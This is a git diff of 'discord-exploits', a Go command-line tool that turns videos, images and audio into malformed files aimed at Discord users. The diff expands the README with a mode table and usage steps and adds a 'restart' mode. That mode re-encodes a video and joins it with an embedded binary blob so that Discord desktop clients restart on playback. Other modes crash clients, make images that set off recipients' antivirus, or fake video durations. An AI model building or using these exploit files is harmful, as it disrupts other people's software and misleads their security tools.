diff --git a/.gitignore b/.gitignore index e06b1f1..4711081 100644 --- a/.gitignore +++ b/.gitignore @@ -38,3 +38,5 @@ discord-exploits-linux-64bit *.m4a *.mp3 + +.idea \ No newline at end of file diff --git a/README.md b/README.md index c682332..4167013 100644 --- a/README.md +++ b/README.md @@ -1,83 +1,69 @@ [![GitHub stars](https://img.shields.io/github/stars/Schmenn/discord-exploits?color=FFFFFF&label=stars&style=flat-square)](https://github.com/Schmenn/discord-exploits/stargazers) -![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/Schmenn/discord-exploits?color=FFFFFF&style=flat-square) +![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/Schmenn/discord-exploits?color=FFFFFF&style=flat-square) ![GitHub issues](https://img.shields.io/github/issues/Schmenn/discord-exploits?color=FFFFFF&style=flat-square) [![GitHub forks](https://img.shields.io/github/forks/Schmenn/discord-exploits?color=FFFFFF&style=flat-square)](https://github.com/Schmenn/discord-exploits/network) ![Made with](https://img.shields.io/badge/made%20with-Go-29BEB0?style=flat-square) # Discord-Exploits -A program for creating exploited media files for discord written in Go. + +A program for creating exploited media files for Discord written in Go. # [Video Guide](https://www.youtube.com/watch?v=X0e3dgXzuEM) -##### If you have any questions, feel free to ask me on ![Discord](https://img.shields.io/badge/Discord-Schmenn%231088-7289DA?style=flat-square) or join the server: [![Discord](https://img.shields.io/discord/809503251455148063?label=discord&style=flat-square)](https://discord.gg/QQfE4QtzFJ) +If you have any questions, feel free to ask me on ![Discord](https://img.shields.io/badge/Discord-Schmenn%231088-7289DA?style=flat-square) or join the server: [![Discord](https://img.shields.io/discord/809503251455148063?label=discord&style=flat-square)](https://discord.gg/QQfE4QtzFJ) -DO NOT DM ME ASKING WHY THE WINDOW CLOSES INSTANTLY WHEN YOU DOUBLE CLICK IT, +DO NOT DM ME ASKING WHY THE WINDOW CLOSES INSTANTLY WHEN YOU DOUBLE CLICK IT, DISCORD-EXPLOITS IS A COMMAND-LINE UTILITY MEANING YOU HAVE TO USE IT FROM A TERMINAL IF THE PROGRAM SHOWS AN ERROR, READ THE ERROR BEFORE MESSAGING ME - - -### Getting Help +## Getting Started `discord-exploits -h` will show you what commands can be used and what you have to do -### Creating an Expanding Video file +## Usage -`discord-exploits -m -i [-q]` +`discord-exploits -m -i [-q]` -the mode `c` stands for "crash", this file will crash almost any desktop discord client when it is played to the end +| Mode | Description | +| :------------ | :------------ | +| `c` | Create a file that will crash most Discord desktop clients when played to the end | +| `r` | Create a file that will instantly restart most Discord desktop clients when played to the end | +| `v` | Create a virus image (upon sending to a channel, it will trigger antivirus software for anyone who sees it) | +| `e` | Create a video which has an expanding video duration (00:00/00:02, 00:01/00:03, etc...) | +| `n` | Create a video with negative duration | +| `0` or `z` | Create a video with a removed duration header (0 second video) | +| `t` | Create a file that will play a different audio when it is replayed (still experimental) | -the mode `v` stands for virus image - -the mode `e` stands for expanding video duration - -the mode `n` stands for negative video duration - -the mode `0` or `z` stands for video with 0s duration - -the mode `t` stands for "twice", this file will play a different audio when it is replayed (still experimental) - -The Program only supports `webm` files for video, `png` files for images and `ogg` files for audio (t) +The program only supports `webm` files for video, `png` files for images and `ogg` files for audio (`t`) ##### The file will be saved with a random file name in the directory in which you ran the command + ##### You can use [FFmpeg](https://ffmpeg.org) to convert a video to .webm or to convert an image to png (better than online converters) + ##### The "virus" image may get flagged by windows defender and will get removed. to restore the file, go to Settings > Update & Security > Windows Security > Virus & Threat protection and restore the file ## Installation + ### Via releases -go to [the releases page](https://github.com/Schmenn/discord-exploits/releases) and download either the windows or linux version +go to [the releases page](https://github.com/Schmenn/discord-exploits/releases) and download either the windows or linux version. the program is compatible with: -###### availabe systems are: -`windows-64-bit -windows-32-bit` +`windows-64-bit windows-32-bit` -`linux-64-bit -linux-32-bit` +`linux-64-bit linux-32-bit` (untested on linux) -##### The Program was not yet tested on linux +### Compile from source +make sure you have [Go](https://golang.org) installed and in your path -### Compiling it yourself -###### make sure you have [Go](https://golang.org) installed and in your path -1. Clone this repository - - `git clone https://github.com/Schmenn/discord-exploits` - -###### If you don't have git installed, install it [here](https://git-scm.com) or download the code as a zip -2. Go into the folder - - `cd discord-exploits` - -3. Build it - - `go build` - -###### the executable will have the name `discord-exploits` +1. Clone this repository: `git clone https://github.com/Schmenn/discord-exploits` (If you don't have git installed, install it [here](https://git-scm.com) or download the code as a zip) +2. Go into the folder: `cd discord-exploits` +3. Build it: `go build` ## Features + ### Current Features * Feature for creating a video that, when played on discord, will seem like infinite, because the duration keeps getting longer * Feature for creating a video that, when played on discord, will look like it has got a huge negative duration @@ -87,12 +73,14 @@ linux-32-bit` * Feature for creating a video that, when played on a discord client, will crash it ([always requires FFmpeg](https://ffmpeg.org)) * Transcoding from `mp4` to `webm`, from `jpeg` and `jpg` to `png` and from `mp4` and `m4a` to `ogg` ([requires FFmpeg](https://ffmpeg.org)) -### Disclaimer +## Disclaimer + The t/twice mode requires ffmpeg with all compatible file formats, even `ogg`, because the current version of the exploit has to convert the audio to a sample rate of 44100. The c/crash mode also requires ffmpeg will all compatible file formats, because the input file needs to be concatenated with another file. -### Upcoming Features are: -not yet decided. +## Upcoming Features + +None yet diff --git a/exploits.go b/exploits.go index a167ac4..67b0909 100644 --- a/exploits.go +++ b/exploits.go @@ -5,8 +5,8 @@ import ( "github.com/Schmenn/discord-exploits/exploits" "github.com/Schmenn/discord-exploits/modules" "os" - "strings" "path/filepath" + "strings" ) var ( @@ -91,6 +91,15 @@ func initCommand(inputFile string, mode string) { fmt.Println("completed task.") os.Remove(out) + case "r": + fmt.Println("transcoding video from webm to mp4") + out := modules.Transcode(inputFile, "mp4") + fmt.Println("finished transcoding video from webm to mp4") + fmt.Println("editing video.") + exploits.RunRestartVideoTask(out) + fmt.Println("completed task.") + os.Remove(out) + default: fmt.Println("the mode doesn't match the file") } @@ -130,6 +139,11 @@ func initCommand(inputFile string, mode string) { exploits.RunCrashVideoTask(inputFile) fmt.Println("completed task.") + case "r": + fmt.Println("editing video.") + exploits.RunRestartVideoTask(inputFile) + fmt.Println("completed task.") + default: fmt.Println("the mode doesn't match the file") } diff --git a/exploits/expanding-video.go b/exploits/expanding-video.go index 36ef2a7..1072abc 100644 --- a/exploits/expanding-video.go +++ b/exploits/expanding-video.go @@ -18,13 +18,13 @@ func RunExpandingVideoTask(fileName string) { return } - data[index+3] = 63 - data[index+4] = 240 - data[index+5] = 0 - data[index+6] = 0 - data[index+7] = 0 - data[index+8] = 0 - data[index+9] = 0 + data[index+3] = 63 + data[index+4] = 240 + data[index+5] = 0 + data[index+6] = 0 + data[index+7] = 0 + data[index+8] = 0 + data[index+9] = 0 data[index+10] = 0 name := modules.CreateName("webm") diff --git a/exploits/negative-video.go b/exploits/negative-video.go index 5867326..2a57eb2 100644 --- a/exploits/negative-video.go +++ b/exploits/negative-video.go @@ -19,13 +19,13 @@ func RunNegativeVideoTask(fileName string) { return } - data[index+3] = 66 - data[index+4] = 255 - data[index+5] = 176 - data[index+6] = 96 - data[index+7] = 0 - data[index+8] = 0 - data[index+9] = 0 + data[index+3] = 66 + data[index+4] = 255 + data[index+5] = 176 + data[index+6] = 96 + data[index+7] = 0 + data[index+8] = 0 + data[index+9] = 0 data[index+10] = 0 name := modules.CreateName("webm") diff --git a/exploits/restart-video.go b/exploits/restart-video.go new file mode 100644 index 0000000..797d0e9 --- /dev/null +++ b/exploits/restart-video.go @@ -0,0 +1,45 @@ +package exploits + +import ( + _ "embed" // embed + "fmt" + "os" + "os/exec" + "time" + + "github.com/Schmenn/discord-exploits/modules" +) + +//go:embed restart.bin +var restartBin []byte + +// RunRestartVideoTask will concatenate a user-provided mpeg4 file and restart.bin to create a video which will +// restart clients instead of crashing them. Requires that the base mpeg4 be encoded to yuv422p color space. +func RunRestartVideoTask(filename string) { + binname := modules.CreateName("bin") + outname := modules.CreateName("mp4") + txtname := modules.CreateName("txt") + // prevent duplicate id + time.Sleep(time.Millisecond * 1) + reencode := modules.CreateName("mp4") + + modules.CheckForFFmpeg() + cmd := exec.Command("ffmpeg", "-i", filename, "-pix_fmt", "yuv422p", reencode) + err := cmd.Run() + modules.Check(err) + err = os.WriteFile(txtname, []byte(`file '`+reencode+`'`+"\n"+`file '`+binname+`'`), 0777) + modules.Check(err) + err = os.WriteFile(binname, restartBin, 0777) + modules.Check(err) + cmd = exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname) + err = cmd.Run() + modules.Check(err) + + err = os.Remove(binname) + modules.Check(err) + err = os.Remove(txtname) + modules.Check(err) + err = os.Remove(reencode) + modules.Check(err) + fmt.Println("Saved video to: " + outname) +} diff --git a/exploits/restart.bin b/exploits/restart.bin new file mode 100644 index 0000000..a642830 Binary files /dev/null and b/exploits/restart.bin differ diff --git a/exploits/virus-image.go b/exploits/virus-image.go index bd05608..0db3ee9 100644 --- a/exploits/virus-image.go +++ b/exploits/virus-image.go @@ -12,7 +12,7 @@ var ( vpng1 []byte //go:embed virus2.txt vpng2 []byte - vpng = append(vpng1, vpng2...) + vpng = append(vpng1, vpng2...) ) // RunVirusImageTask edits file diff --git a/exploits/zero-video.go b/exploits/zero-video.go index 96f1c0f..556eacc 100644 --- a/exploits/zero-video.go +++ b/exploits/zero-video.go @@ -19,18 +19,18 @@ func RunZeroVideoTask(fileName string) { return } - data[index+3] = 0 - data[index+4] = 0 - data[index+5] = 0 - data[index+6] = 0 - data[index+7] = 0 - data[index+8] = 0 - data[index+9] = 0 + data[index+3] = 0 + data[index+4] = 0 + data[index+5] = 0 + data[index+6] = 0 + data[index+7] = 0 + data[index+8] = 0 + data[index+9] = 0 data[index+10] = 0 name := modules.CreateName("webm") - fmt.Println("Saved video to: "+name) + fmt.Println("Saved video to: " + name) err = os.WriteFile(name, data, os.FileMode(0777)) if err != nil { diff --git a/modules/ffmpeg-check.go b/modules/ffmpeg-check.go index fe0f9e7..2be4aa7 100644 --- a/modules/ffmpeg-check.go +++ b/modules/ffmpeg-check.go @@ -7,7 +7,7 @@ import ( ) // CheckForFFmpeg looks for ffmpeg in the path -func CheckForFFmpeg() (string) { +func CheckForFFmpeg() string { path, err := exec.LookPath("ffmpeg") if err != nil { diff --git a/modules/help.go b/modules/help.go index 80fdf29..ae1562b 100644 --- a/modules/help.go +++ b/modules/help.go @@ -19,6 +19,7 @@ func Help(progName string) { fmt.Println(" n takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration") fmt.Println(" z, 0 takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration") fmt.Println(" c takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)") + fmt.Println(" r takes input video (.webm or .mp4) and edits it so discord will immediately restart when you play it to the end (only works on some PCs)") fmt.Println(" image:") fmt.Println(" v takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus") fmt.Println(" audio:") diff --git a/modules/transcode.go b/modules/transcode.go index deae91c..d200571 100644 --- a/modules/transcode.go +++ b/modules/transcode.go @@ -16,7 +16,7 @@ func Transcode(input string, to string) string { Check(err) fmt.Println("temporarily saving transcoded file to " + output) - + return output }